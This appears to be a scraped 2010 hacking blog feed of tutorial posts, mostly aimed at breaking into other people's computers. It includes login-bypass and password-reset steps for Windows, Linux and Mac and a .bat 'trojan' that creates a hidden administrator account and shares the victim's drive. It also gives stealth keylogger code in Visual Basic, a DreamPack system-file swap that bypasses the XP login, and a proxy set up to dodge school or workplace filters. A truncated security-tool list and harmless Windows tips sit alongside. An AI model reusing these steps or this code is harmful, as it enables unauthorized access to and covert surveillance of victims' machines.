Portable Operating Systems (’HowTo’ Articles)

How to Hack Password of any Operating System

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 12:42:00 +0530

One thing any hacker should know is how to hack into login account of any operating system. Major Operating Systems that are used these days are Windows, Linux and Mac. So today I will show you how to hack into these Operating Systems. Are you curious how easy it is for someone to gain access to your computer? If so, read on to see the technique one might use to figure out your computer password.

Windows

Windows being very popular has a lot of programs available which can be used to hack the login password. One of the most successful program is Ophcrack, and it is free. Ophcrack is based on Slackware, and uses rainbow tables to solve passwords up to 14 characters in length. The time required to solve a password? Generally 10 seconds. The expertise needed? None.

Simply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). Insert the CD into a machine you would like to gain access to, then press and hold the power button until the computer shuts down. Turn the computer back on and enter BIOS at startup. Change the boot sequence to CD before HDD, then save and exit.

The computer will restart and Ophcrack will be loaded. Sit back and watch as it does all the work for your. Write down the password it gives you, remove the disc, restart the computer, and log in as if it were you own machine.

You can download OphCrack from the following link:

http://ophcrack.sourceforge.net/

Linux

Linux is an operating system which is quickly gaining popularity in mainstream, but not so common that you’re likely to come across it. Though Mac and Linux are both based on Unix, it is easier to change the password in Linux than it is OS X.

To change the password, turn on the computer and press the ESC key when GRUB appears. Scroll down and highlight ‘Recovery Mode’ and press the ‘B’ key; this will cause you to enter ‘Single User Mode’.

You’re now at the prompt, and logged in as ‘root’ by default. Type ‘passwd’ and then choose a new password. This will change the root password to whatever you enter. If you’re interested in only gaining access to a single account on the system, however, then type ‘passwd username’ replacing ‘username’ with the login name for the account you would like to alter the password for.

Mac

Finally we take on Mac’s OS X which as we said earlier is based on Unix and is difficult to change password compared to Linux but nothing is impossible to be hacked.

The easiest method would be to use Ophcrack on this also as it works with Mac and Linux in addition to Windows. However, there are other methods that can be used, as demonstrated below.

If the Mac runs OS X 10.4, then you only need the installation CD. Insert it into the computer, reboot. When it starts up, select UTILITIES > RESET PASSWORD. Choose a new password and then use that to log in.

If the Mac runs OS X 10.5, restart the computer and press COMMAND + S. When at the prompt, type:

fsck -fy

mount -uw /

launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist

dscl . -passwd /Users/UserName newpassword

That’s it. Now that the password is reset, you can login.

Setting Up A Hackers Workstation

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 12:32:00 +0530

Hi guys, Hope you have gone through the previous article and you’re now ready to take on the hacking stuff. At very beginning you have to make your workstation ready, so that things will be available to you at one click.

You have to collect some of the tools, Operating System & documentation on your PC with a very clear format.

Operating System:

Which OS to use, choice is all yours. Windows in all cases is not so ‘made for hacking’ according to me. Whatever XP,Vista or windows 7. They are all just OS which are made for novice public which can learn computers.

If you are a regular Linux user, Then shift to Backtrack Linux. It is Linux made for hacker geeks & completely embedded with all penetration testing tools in it. You can Download Backtrack here. But if you have never used Linux & wish to learn then you can use basic Linux distributions like Ubuntu. But remember that you or not supposed to learn Linux desktop environment like windows, you have to learn its shell or terminal. (command prompt of Linux)

As I said Choice is all yours you can go with Windows also. Its all on you. (Suggestion: If you can’t make it habit to learn new things, you can never be a HACKER)

Hackers Toolkit:

In your root directory or C:/ in windows make a folder named Tools. So that you can access all tools from command prompt easily E.g. c:/tools/example

Go surf for these tools enlisted.

Your First Step Towards Hacking

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 12:30:00 +0530

Hello Folks,

With my very first post, I am trying to divert you from tutorials. I am assuming you surf daily, download too much stuff, find cracks & serials & hacking tutorials. This group is called as anarchists. This is the very beginning step of hacking. But many people stay in the same zone & never get promoted to the real penetration. The one I would like to share that you need to read a lot (very much than you can think), otherwise you can loose the thing.

Basic principle behind hacking is learn how the things are constructed, You can easily find the way to destruct it. There are some general mistakes in making things, you can know it only when you try to make it too.

When you make mistake while creating something, if someone try to take over that mistake & use it as a security hole to intrude in your system is called as hacker. So you need to learn the construction. The construction of following things:

Networks :

1. How Network is Created

2. How Firewalls are placed

3. Topology of The Network

4. Encryption

Web/Internet:

1. How a website is created, how they run (For that have some website, learn some potential problems in making a website, if you don’t have budget, then search for free hosts & domains )

2. How a blog is created & managed

Applets/ Applications:

1. Learn How the application are develop (Try to develop something, just for practice)

2. Learn specially apps of Browsers, WordPress, Twitter, Soft wares.

Platforms:

1. You must have command over Linux & Windows.

2. If you have Mac, that will be great, but it is not in essential list.

Gadgets:

Keep track of all the gadgets like – cellphones, their operating systems, net books, PSP, gaming consoles, google android, mobile windows, their apps everything.

Coding :
If you can not code then you can not create. So You have to have hand on Java, C and any of Web programming language but prefer PHP & HTML

This is too big list . . huh?

This is shortest ever list I have ever seen to be very loyal to you. Really, You don’t have to do thins in one day or something. You get all books for beginners like, networks for dummies, Java black book.

You have to read constantly. I am trying to collect here some of the best things which you can use it as your notes for hacking stuff. So be updated with it. But at least know the networks & Linux, so You can learn faster. Other things are your homework, you have read on net, try to create & all this stuff, you need to do it on your own. I am all here to he lo you in it. Any type of problem you have,We are here to help. You can mail us, comment here or by any means I will try to make things better for you.

Just keep the patience & confidence. This is your first step to hacking – all you’re doing it for your curiosity.And curiosity is not a crime . . .

If you are good at all the things listed above I would like to Recommend some books:

1. Network Security: Private Communication in Public World (PHI Publication) – Its about Cryptography/ Encryption

2. Thinking Beyond Firewalls

3. Linux Security Cookbook

(Don’t read any book like : hacking gmail, how to hack, hacking secrets … blah, blah , blah- They are not for hackers)

Windows 7 Cheat Sheet

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 12:25:00 +0530

From Desktop

Windows Key + Tab : Aero [press Tab to cycle between Windows]
Windows Key + E : Windows Explorer is launched.
Windows Key + R : Run Command is launched.
Windows Key + F : Search (which is there in previous Windows versions too)
Windows Key + X : Mobility Center
Windows Key + L : Lock Computer (It is there from the earlier versions as well)
Windows Key + U : Launches Ease of Access
Windows Key + P : Projector
Windows Key + T : Cycle Super Taskbar Items
Windows Key + S : OneNote Screen Clipping Tool [requires OneNote]
Windows Key + M : Minimize All Windows
Windows Key + D : Show/Hide Desktop
Windows Key + Up : Maximize Current Window
Windows Key + Down : Restore Down / Minimize Current Windows
Windows Key + Left : Tile Current Window to the Left
Windows Key + Right : Tile Current Windows to the Right
[Continue pressing the Left and Right keys to rotate the window as well]
Windows Key + # (# is any number) : Quickly Launch a new instance of the application in the Nth slot on the taskbar. Example Win+1 launches first pinned app, Win+2 launches second, etc.
Windows Key + = : Launches the Magnifier
Windows Key + Plus : Zoom in
Windows Key + Minus : Zooms out

26. Middle click on icon : Open a new instance
27. Ctrl + Shift + Click on icon : Open a new instance with Admin privileges
28. Shift + Right-click on icon : Show window menu (Restore / Minimize / Move / etc). Note: Normally you can just right-click on the window thumbnail to get this menu.
29. Shift + Right-click on grouped icon : Menu with Restore All / Minimize All / Close All, etc.
30. Ctrl + Click on grouped icon : Cycle between the windows (or tabs) in the group

Though some of them are there in previous versions of Windows, Windows 7 has incorporated many of them and have started many afresh.

How to Set up your own Proxy Server

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 12:16:00 +0530

Lot´s of people complain that Web Proxys are not working at their Works / Schools computer because they have been banned by administrators. A way around this would be to setup your very own proxy server that is being hosted a) by a free web hosting service that supports either php or cgi or b) your own website that is being hosted by a web hosting company.

Both methods should work and I will walk you right through the installation process for both scripts and give you tips how to find out what is actually being blocked. Before we start you need to download a copy ofphpproxy or cgiproxy depending on what you want and can use. You also could perform a search for free web hosting on google for instance and try to find a web host that supports one of the two languages, a good site that I found while searching for those terms might be freewebspace.net

1. phpproxy

Download phpproxy and unpack it to a local directory on your hard drive. All you need to do know is to upload the script to your webspace and open up the new url to check if its working allright. You might want to rename the file to something different, something that does not contain the word proxy in it to avoid filters that ban everything that has the word “proxy” in it.

You could open up the script and enter your clients ip in there to make sure that only your client will be able to connect or you could add a .htaccess file to the directory forcing everyone who wants to start the script to enter a username and password. Again, use google if you like to find out more information about .htaccess

The php script has some requirements, make sure you read the readme file which is included and check to see if your hoster has those requirements enabled.
[eminimall]
2. cgiproxy

Your hoster has to have cgi enabled in order to run this script. Many free hosters do not offer cgi or only some preinstalled scripts. Make sure it is enabled before you start the installation process.

First, download the source and unpack it to a local directory.

Now, open the .cgi file and take a look at the configuration. You can edit lots of settings from within, for example you could configure the script that way that it only allows text to go through the proxy but no images. Everything is explained in detail and all options are explained with comments, browse through the file, edit the options to your liking and save the new file.

After that upload the script to your cgi directory if that is required by your hoster and open the url from your browser. You are now ready to browse the web anonymously, to check if that is really the case load a website like whatismyip.com as the first site and check if the ip matches with the server the script is installed and not your computers ip. If that is the case you´ve done everything right and can surf anonymously. (there are still ways to find out your ip, just in case you are wondering)

3. What is being blocked ?

a) If you can access the proxy from the client they only block domains / ips.
b) If you can´t access the proxy they might be banning filenames that contain proxy as well, try changing the filename.

Enabling/Disabling User Access Control in Windows Vist

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 12:15:00 +0530

Microsoft’s advertising has stressed the new security features found in Windows Vista. From the user perspective, one such feature, User Access Control, is arguably the most noticeable enhancement. User access control is a mechanism by which users — even administrators — perform common Windows tasks with non-administrative rights, or as a standard user. Before administrative tasks can be performed, users must actively approve actions that could be potentially dangerous to the computer.

In this article, I’ll give you a complete look at User Access Control’s inner workings and show you some ways you can change the behavior of this new feature.

How does User Access Control work?

The Inner workings of User Access Control reveal a lot about how this feature protects your computer. First, let’s talk about why User Access Control was developed.

The problem: Windows XP and silent installations

In pre-Vista versions of Windows, upon login, a user was assigned an access token. A non-administrative user was assigned a token that granted him access to resources that did not require administrative rights. Users that were members of an administrative group were assigned a single token that granted them full rights to all of the resources on the local computer.
From an ease-of-use perspective, this level of authority was great. However, from a security perspective, it’s not so great; even for IT pros. Consider the potential for “drive-by” spyware installation. A drive-by installation happens when you visit, either accidentally or intentionally, a site containing malicious code that you don’t know about. While spyware scanners have significantly improved over the past couple of years, there’s not a single solution on the market that will protect against every known threat. Even if there was such a product, there would still be the issue of unknown threats. New spyware pops up every day and it takes vendors time to discover these new nuisances and update their products.
If you’re logged in to Windows XP as a user with administrative privileges at the time the drive-by takes place, spyware may get installed to your computer with absolutely no notice to you. This spyware could be anything from a fairly innocuous tool to a key logger that keeps track of everything you type and sends the results to a predetermined location. You might end up with the installation of a back door that allows a hacker to make his way into your system at some point in the future to achieve his nefarious goals. Worse, the deeper spyware is embedded into your system, the more difficult it is to remove, short of a complete system rebuild, which can take hours.

[eminimall]

Note: When you install Windows XP, the Setup Wizard assigns administrative rights to all local accounts.
Now, you might tell yourself you already knowall of this; but, in your organization, you’re forced to allow users to run as a local administrator for any number of reasons. For example, many users (with the backing of management) feel it is vital that they have the ability to install new applications on their desktop. Unfortunately, they’re often right. Doing business on the Web often means having to install a new ActiveX control or other type of application. While not the safest behavior, allowing people to do their jobs is preferable to paying people to sit in a chair doing nothing under the unyielding thumb of IT.

The solution: Windows Vista and User Access Control

Windows Vista’s introduction of User Access Control aims to tame this beast and bring some order back to chaos. Under Vista, when an administrative user logs in to the system, he is granted not one, but two access tokens: an administrative access token and a standard user access token. The standard access token is used to start the user’s desktop. The end result is that the administrator is running a system with more limited rights than he would have received upon login under Windows XP. Until there is a need, the second token — the one with administrative rights — is not used.
This situation takes place, for example, when the administrative user starts a control panel applet and tries to change a setting, Windows Vista’s User Access Control feature pops up a window indicating that permission is necessary to continue. When you choose to allow an administrative action to take place using the administrative token, you are allowing that application to run with elevated privileges. Figure A gives you a look at a typical User Access Control dialog box. If you want to allow the action, press the Continue button.
Figure A

User Access Control asks if you want to proceed with the action.

If you’ve seen the Mac v. PC commercials on Apple’s Web site, you’ll recognize this dialog box as being the point of discussion between the PC and the Mac with a security guard standing behind the PC to verify every communication with the Mac. In reality, the situation is not quite that bad. In fact, although annoying from time to time, the situation is much better as the new system provides a visual cue that something is going on and gives a user an opportunity to decline an action.
Annoyance is one of the results I will try to help you with in this article. I’ll show how you can disable User Access Control altogether, and how to indicate that specific applications should always run in an elevated state.

Completely disabling User Access Control

I’ll preface this section by saying I don’t recommend you take this action, even on your own computer. Much as I am loathe to admit it, even though I preach the dangers of the “blind click” on a pop-up and the resulting spyware that ensues to students and users, I sometimes forget my own advice. Last summer, when I was in a hurry to complete a task, I got what appeared to be a system dialog box and pressed the OK button. Just as I released the mouse button, I realized that the “OK button” I had just pressed was actually a pop-up from a Web site. Just hours later, my system was infested with spyware.
The lesson here is this: Even those of us that do this for a living fall victim to spyware. With User Access Control, at least there is one more barrier between us and them.
But, if you find that User Access Control is seriously debilitating, you candisable it and move on. There are a number of ways to disable User Access Control. I’ll show you how to do so using the Control Panel, the Registry Editor, and Group Policy.
All of the solutions in this article require that you log on as a user with administrative rights. For most solutions, however, you cannot use the local administrator account. This account is not subject to administrative approval. Use another account that is a member of the local administrators group.

Disable User Access Control using MSConfig

For a few machines, you can use MSConfig to change the behavior of User Access Control:

Go to Start | All Programs | Accessories | Run.
In the Run box, type “msconfig”, and press [Enter].
From the System Configuration window, choose the Tools tab, as shown in Figure B.
In the Tool Name column, look for the Disable UAC option.
Press the Launch button.
Reboot the system.

Figure B

Disable User Access Control via the Control Panel

If you have just a couple of machines, the easiest way to disable User Access Control is to disable the feature via the Control Panel. Follow these steps to achieve this goal:

Go to Start | Control Panel.
Viewing the Control Panel in “Classic” mode, choose the User Accounts applet. This opens the screen shown below in Figure.

The User Accounts control panel applet.

Choose the “Turn User Account Control on or off” option. Note that this applet has a little shield next to it. This shield indicates that this function is itself protected by User Account Control.
Deselect the checkbox next to Use User Account Control (UAC) To Help Protect Your Computer. See Figure D.

Figure D

The User Accounts control panel applet.

Press OK.
Reboot your computer for the changes to take effect.

Disable User Access Control via the Registry Editor
[eminimall]
A second way to disable User Access Control involves the use of the registry editor. By changing a specific key on each Vista machine, you can disable User Access Control. Here are the steps:

Start the Registry Editor.
Browse to the following key: HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion Policies System.
Change the value of the EnableLUA entry to “0″ If you ever want to re-enable User Access Control, follow these instructions, but change the value of the EnableLUA entry to “1″. See Figure E for a look at the screen.
When you are done, reboot the computer for the change to take effect.

Figure E

Manage/Disable User Access Control via Group Policy

If you have a lot of computers and you want to change User Access Control behavior across all of them, your best bet is to use Group Policy. The Group Policy method is also the most granular of the bunch and allows you to set a variety of parameter related to User Access Control. I’ll show you how to accomplish this using the local group policy administrative tool.

Go to Start | All Programs | Accessories | Run.
In the Run box, type “secpol.msc” and press [Enter].
When User Account Control asks for permission to continue, press the Continue button.
Browse to Computer Configuration | Windows Settings | Security Settings | Local Policies | Security Options. You’ll see the screen shown in Figure F.
Select the group policy object you wish to modify and change the setting to the desired value. The list below provides you with a look at all of the group policy settings associated with User Access Control.

Figure F

The Group Policy Object Editor.

There are a number of options related to User Access Control:

User Account Control: Behavior of the elevation prompt for the built-in Administrator account — This setting determines the behavior of User Access Control when used with the built-in Administrator account.
- Enabled: When running an application that needs administrative rights, the built-in Administrator account will be subject to User Access Control.
- Disabled (default): The built-in Administrator account will run all applications without further prompting.
User Account Control: of the elevation prompt for administrators in Admin Approval Mode — This setting determines what takes place when administrators (besides the built-in Administrator account) run a privileged application.
- Elevate without prompting: This is the most dangerous setting and should be used only in very secure environments. Restricted applications are run with administrative rights without intervention.
- Prompt for credentials: The user is prompted to provide the user name and password for a user with local administrative rights.
- Prompt for consent (default): This is the normal behavior for User Access Control and asks the user (assuming the user has administrative rights) to permit or deny running an application with administrative rights.
User Account Control: Behavior of the elevation prompt for standard users — This setting determines what takes place when standard users try to run a privileged application.
- Prompt for credentials (Default for Home editions): The user is prompted to provide the user name and password for a user with local administrative rights.
- Automatically deny elevation requests (Default for Enterprise editions): The user will receive a message indicating that access to the application has been denied.
User Account Control: Detect application installations and prompt for elevation — How will the User Access Control system respond to requests for the installation of new programs?
- Enabled (Default for home): Application installations that require administrative privileges will trigger the User Access Control prompt.
- Disabled (Default for enterprise): Since many application installations are handled via Group Policy, user intervention and approval is not necessary.
User Account Control: Only elevate executables that are signed and validated — Do elevated applications require a valid PKI certificate chain?
- Enabled: Requires that an application has a valid PKI certificate chain before it is allowed to run.
- Disabled (default): Does not require that an application be signed in order to run.
User Account Control: Only elevate UIAccess applications that are installed in secure location — Applications that request execution with a UIAccess integrity level must reside in a secure area of the system.
- Enabled (default): An application with UIAccess integrity with launch only if it resides in a protected area of the system.
- Disabled: An application with UIAccess integrity will launch regardless of the location of the executable.
User Account Control: Run all administrators in Admin Approval Mode — Run all users, including administrators, as standard users. This effectively enables or disables User Access Control. If you change this setting, you must reboot the system.
- Enabled (default): Administrative Approval Mode and User Access Control is enabled.
- Disabled: Disable User Access Control and Admin Approval Mode.
User Account Control: Switch to the secure desktop when prompting for elevation — When User Access Control is enabled and displays an elevation prompt, change Windows Vista to the secure desktop as opposed to the standard user’s desktop.
- Enabled (default): Elevation requests are directed to a secure desktop.
- Disabled: Elevation requests are directed to the standard desktop.
User Account Control: Virtualize file and registry write failures to per-user locations — This setting enables the redirection of legacy application write failures to defined locations in both the registry and file system, mitigating those applications that historically ran as administrator and wrote runtime application data back to %ProgramFiles%, %Windir%; %Windir%\system32 or HKLM\Software\. In short, this key helps to maintain backward compatibility with legacy applications that do not like to run as a standard user.
- Enabled (default): Applications writing data to protected areas will be redirected to other locations.
- Disabled: Applications writing data to protected areas will fail.
</LI>

Selectively disabling User Access Control

Not all applications are marked in such a way as to trigger a User Access Control warning when executed. However, many applications need to be run with administrative rights enabled in order to function as intended. In order to accommodate this situation, you can mark an application so it runs with administrative rights each time the application is executed. To do so:

Right-click the executable associated with the application.
From the shortcut menu, choose the Properties option.
From the Properties page, select the Compatibility tab.
Under the Privilege Level heading, select the checkbox next to “Run this program as an administrator” , as seen in Figure G.
Press OK.

Figure G

The application’ s Compatibility tab.

For some applications, the “Run this program as an administrator” option may not be available. There can be a number of reasons for this:

You are not logged in as a user with administrative rights.
The application is not capable of being run with elevated rights.
The application is a part of the operating system. OS applications cannot be modified in this manner.

Annoying, but worth it

User Access Control might be an annoying way to achieve system security, but it’s actually pretty welcome when it comes to maintaining system security, especially for home users. Mac and Linux users have long had to deal with the same basic security scheme, but it’s new to Windows users. Once Windows users get used to it, they’ll appreciate the added security it provides.

JPEG Binding

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 12:11:00 +0530

Do you know most of the virus that infiltrate your computer are stored secretly in a jpeg image? Well if you are not aware of this then you must read it.

# You will need the following.. Windows 2000 / XP
# Basic Knowledge of the Command Prompt
# WinRar

1. Gather your image and the files you wish to lodge into it. Here I have a meeting.txt which I will hide inside my toshow.jpg.
2. Add the files you want to hide into a new RAR archive. (so meeting.txt.rar created newly)
3. Open Command Prompt and go to the folder where your files are located, e.g., ‘C:\hidden’.
5. At command prompt type ‘copy /b toshow.jpg + meeting.txt.rar lizard.jpg’ (without quotes).
(toshow.jpg is the picture I want to show, meeting.txt.rar is the file to be hidden, and lizard.jpg is the file which contains both.
6. Now test the lizard.jpg by double clicking it, and verifying it still opens.
7. Now try opening that same lizard.jpg file from menu: file->open of WinRar. It will show the original hidden file meeting.txt.

Done !!!!!

Now lizard.jpg is a simple JPEG for others, but it contains a secret file meeting.txt for you !!!!!!!!!

Making your own trojan in a .bat fileh

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 11:58:00 +0530

Open a dos prompt we will only need a dos prompt , and windows xp…

-Basics-
Opening a dos prompt -> Go to start and then execute and write
cmd and press ok

Now insert this command: net
And you will get something like this

Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send

We will select some of those commands and put them on a .bat file.

What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:

dir
pause

And now save this as test.bat and execute it.
Funny aint it ?

———————- Starting ——————-
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it’s nice
yo know wich version of windows xp you are going to try share.

Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

———————–: Client :—————-
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!

How To Write A Basic Keylogger In VB

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 11:57:00 +0530

Intro: What a Keylogger is made of

Before we start programming, we need to answer a basic question: what is a keylogger? As the name implies (key+logger) – a keylogger is a computer program that logs (records) the keys (keyboard buttons) pressed by a user. This should be simple to understand. Lets say that I am doing something at my computer. A keylogger is also running (working) on this computer. This would mean that the keylogger is “listening” to all the keys I am pressing and it is writing all the keys to a log file of some sort. Also, as one might have guessed already, we don’t want the user to know that their keys are being logged. So this would mean that our keylogger should work relatively stealth and must not, in any case, show its presence to the user. Good, now we know what a keylogger as and we have an idea of its functions, lets move on to the next step.

=========================================
Basic Concepts: What needs to be achieved
=========================================
Ok, now lets plan our program, what should such keyloger do and what it should not. Significant difference to previous section is in the sense that here we shall discuss the LOGIC, the instructions that our program will follow.
Keylogger will:
1 – listen to all the key strokes of the user.
2 – save these keys in a log file.
3 – during logging, does not reveal its presence to the user.
4 – keeps doing its work as long as the used is logged on regardless of users actions.

==========================================
Implementation: Converting logic into code
==========================================

We shall use Visual Basic because it is much easier and simple to understand comparing to C++ or Java as far as novice audience is concerned. Although programmers consider it somewhat lame to code in VB but truthfully speaking, its the natural language for writing hacking/cracking programs. Lets cut to the chase – start your VB6 environment and we are ready to jump the ride!

We need a main form, which will act as HQ to the program.

First of all, as our program shall run, we need to make sure it is hidden. This should be very simple to accomplish:
Private Sub Form_Load()
Me.Visisble = False
End Sub
This makes our program invisible to the human eye. To make it invisible to computers eye too, we need to add this line in the Form_Load() event App.TaskVisible = False . This enabled our logger to run in stealth mode and the regular Task Manager will not see our application. Although it will still be possible to see it in the processes tab, there are “ways” to make it hidden. Figure them out yourself, they have nothing to do with programming.

OK, now that our program has run in stealth mode, it should do its essential logging task. For this, we shall be using a whole load of API. These are the interfaces that the Application Platform (windows) itself provides us in those annoying dll files.

There are 3 methods to listen for keys:
* GetAsyncKeyState
* GetKeyboardState
* Windows Hooks

Althought the last method is easier to use, this will not work on Windows98 and also it is NOT very precise. Many people use it, but as my experiences revealed, Keyboard Hooks are only a good way of blocking keys and nothing else. The most exact and precise method in my experience is GetAsyncKeyState().
So lets use this function, but where is that damn thing and how to use it?

Private Declare Function GetAsyncKeyState Lib “USER32″ (ByVal vKey As Long) As Integer
This is how we use a function already present in a dll file. In this case we are using the user32.dll and the function we are using is GetAsyncKeyState(). The arguments (Long vKey), and return value (Long) shall be discussed later, right now its enough to know that this function can listen to keystrokes.

What we need next is to run this function infinitely (as long as the system is running). To do this, just put a Timer control on the form and name it tmrTimer. This timer is used to run the same line of code forever. Note that a while loop with a universally true condition would also accomplish same, but the while loop will certainly hang the system and will lead to its crash as opposed to timer. Timer will not hang the system at all because a while loop tends to carry out the instruction infinitely WITHOUT any break and it also keeps the control to itself, meaning that we cannot do any other job as the loop is running (and with a universally true statement, the while loop will not let the control pass to ANYWHERE else in the program making all the code useless) while the Timer control just carries out the instuction after a set amount of time.

So the two possibilities are:

Do While 1=1
‘our use of the GAKS (GetAsyncKeyState) function Loop

and

Private Sub tmrTimer_Timer()
‘our use of the GAKS function
End Sub

Timer being set, lets move on to see how the GAKS function works and how are we going to use it. Basically what the GAKS function does is that it tells us if a specific key is being pressed or not. We can use the GAKS function like this: Hey GAKS() check if the ‘A’ key is being pressed. And the GAKS function will tell us if it is being pressed or not. Sadly, we can’t communicate with processors like this, we have to use some flamboyant 007 style

If GAKS(65)<>0 Then
Msgbox “The ‘A’ key is being pressed”
Else
Msgbox “The ‘A’ key is not being pressed”
End If

Now lets see how this code works: GAKS uses ASCII key codes and 65 is the ASCII code for ‘A’ If the ‘A’ key is being pressed then GAKS will return a non-zero value (often 1) and if the key is not being pressed then it will return 0. Hence If GAKS(65)<>0 will be comprehended by the VB compiler as “If the ‘A’ key is being pressed”.

Sticking all this stuff together, we can use this code to write a basic functional keylogger:

Private Sub tmrTimer_Timer()
Dim i As Integer
Static data As String
For i = 65 to 90 ‘represents ASCII codes from ‘A’ to ‘Z’
If GAKS(i)<>0 Then data = data & Chr(i)
Next i
If GAKS(32) <> 0 Then data = data & ” ” ‘checking for the space bar
If Len(data)>=100 Then
Msgbox “The last 100 (or a couple more) are these ” & VBNewLine & data
data = “”
End If
End Sub

This alone is enough to create a basic functioning keylogger although it is far from practical use. But this does the very essential function of keylogger. Do try it and modify it to your needs to see how GAKS works and how do the Timer delays affect the functionality of a keylogger. Honestly speaking, the core of our keylogger is complete, we have only to sharpen it now and make it precise, accurate and comprehensive.
The first problem that one encounters using GAKS is that this function is far too sensitive than required. Meaning that if we keep a key pressed for 1/10th of a second, this function will tell us that the key has been pressed for at least 2 times, while it actually was a sigle letter. For this, we must sharpen it. We need to add what I call “essential time count” to this function. This means that we need to tell it to generate a double key press only if the key has been pressed for a specified amount of time. For this, we need a whole array of counters. So open your eyes and listen attentively.

Dim count(0 to 255) As Integer
This array is required for remembering the time count for the keys. i.e. to remember for how long the key has been pressed.

Private Sub tmrTimer_Timer()
Dim i As Integer
Const timelimit As Integer = 10
Static data As String
For i=0 To 255 ‘for all the ASCII codes
If GAKS(i)<>0 Then
If count(i) = 0 Then ‘if the key has just been pressed
data = data & Chr(i)
ElseIf count(i) < timelimit Then
count(i) = count(i) + 1 ‘add 1 to the key count
Else
count(i) = 0 ‘initialize the count
data = data & Chr(i)
End If
Else ‘if the key is not being pressed
count(i) = 0
End If
Next i
End Sub

What we have done here is that we have set a time limit before the GAKS function will tell us that the key is being pressed. This means, in simple words, that if we press and hold the ‘A’ key, the GAKS function will not blindly tell us the ‘A’ key is being pressed, but it will wait for sometime before telling us again that the key is being pressed. This is a very important thing to do, because many users are not very fast typists and tend to press a key for somewhat longer than required.

Now what is left (of the basic keylogger implementation) is just that we write the keys to a file. This should be very simple:

Private Sub timrTimer_Timer()
‘do all the fuss and listen for keystrokes
‘if a key press is detected
Open App.Path & “\logfile.txt” For Append As #1
Print #1, Chr(keycode);
Close #1
End Sub

Note that this is the very basic concept of writing a keylogger, we have yet not added autostart option and neither have we added an post-compile functionality edit options. These are advanced issues for the beginners. If you would like me to write about them, do tell me and I will write about them too, step by step. Please do comment on this article, telling me what it lacks and what was not required in it. Feel free to post this anywhere you like, just make sure you don’t use it for commercial purposes. If you have any questions about any part of it let me know and I will try to answer.

5. THC-Hydra – Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.

6. Metasploit Framework – The Metasploit Framework is an advanced open-source platform for developing, testing, and using exploit code. This project initially started off as a portable network game and has evolved into a powerful tool for penetration testing, exploit development, and vulnerability research.

7. John the Ripper – John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

8. Nessus – Nessus is the world’s most popular vulnerability scanner used in over 75,000 organisations world-wide. Many of the world’s largest organisations are realising significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

9. IRPAS – Internetwork Routing Protocol Attack Suite – Routing protocols are by definition protocols, which are used by routers to communicate with each other about ways to deliver routed protocols, such as IP. While many improvements have been done to the host security since the early days of the Internet, the core of this network still uses unauthenticated services for critical communication.

10. Rainbowcrack – RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker try all possible plaintexts one by one in cracking time. It is time consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called “rainbow table”.

How to Hack Into a Windows XP Computer Without Changing Password

noreply@blogger.com (Unknown) — Mon, 22 Nov 2010 11:46:00 +0530

There is a far better way to get into Windows XP. It is easy and it does not reset the password. Hack into a computer running Windows XP without changing the password and find out all and any passwords on the machine (including admin accounts). You do not need access to any accounts to do this. Of course, do not do this on anyone elses computer without proper authorisation.

Steps to Hack into a Windows XP Computer without changing password:

1. Get physical access to the machine. Remember that it must have a CD or DVD drive.
2. Download DreamPackPL from Official website
3. Unzip the downloaded dreampackpl_iso.zip and you’ll get dreampackpl.ISO.
4. Use any burning program that can burn ISO images.
5. After you have the disk, boot from the CD or DVD drive. You will see Windows 2000 Setup and it will load some files.
6. Press “R” to install DreamPackPL.
7. Press “C” to install DreamPackPL by using the recovery console.
8. Select the Windows installation that is currently on the computer (Normally is “1″ if you only have one Windows installed)

9. Backup your original sfcfiles.dll by typing:
“ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld” (without quotes)
10. Copy the hacked file from CD to system32 folder. Type:
“copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll” (without quotes and assuming your CD drive is D:)
11. Type “exit”, take out disk and reboot.
12. In the password field, type “dreamon” (without quotes) and DreamPack menu will appear.
13. Click the top graphic on the DreamPack menu and you will get a menu popup.

